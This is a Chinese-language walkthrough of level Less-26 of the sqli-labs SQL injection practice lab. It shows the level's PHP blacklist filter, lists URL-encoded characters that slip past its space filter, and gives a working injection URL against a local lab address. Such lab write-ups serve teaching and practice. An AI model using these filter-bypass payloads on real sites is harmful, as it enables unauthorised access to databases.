Less-26
从这里的提示,我们可以看出这一关过滤了空格。
我们可以查看源代码,看看它的过滤机制:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
注意:由于Windows下无法使用一些特殊字符来替换空格,所以这里为了更好的体验建议读者使用Linux下的环境。
从上面的过滤机制我们可以发现对“or”、“and”、“/*”、“#”、“--”“/”等特殊符号都进行了过滤,此处对于and和or的绕过方法就不再多说了,这里我们讲述几种技巧:
绕空格:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
在这一关中sql语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注意:对于注释和结尾字符我们只可以使用一个“ ’”来闭合后面的单引号。
下面给出一个payload:
http://192.168.11.136/sqli-labs/Less-26?id=1'%a0||'1'='1
读者可以自我在Linux环境中证实!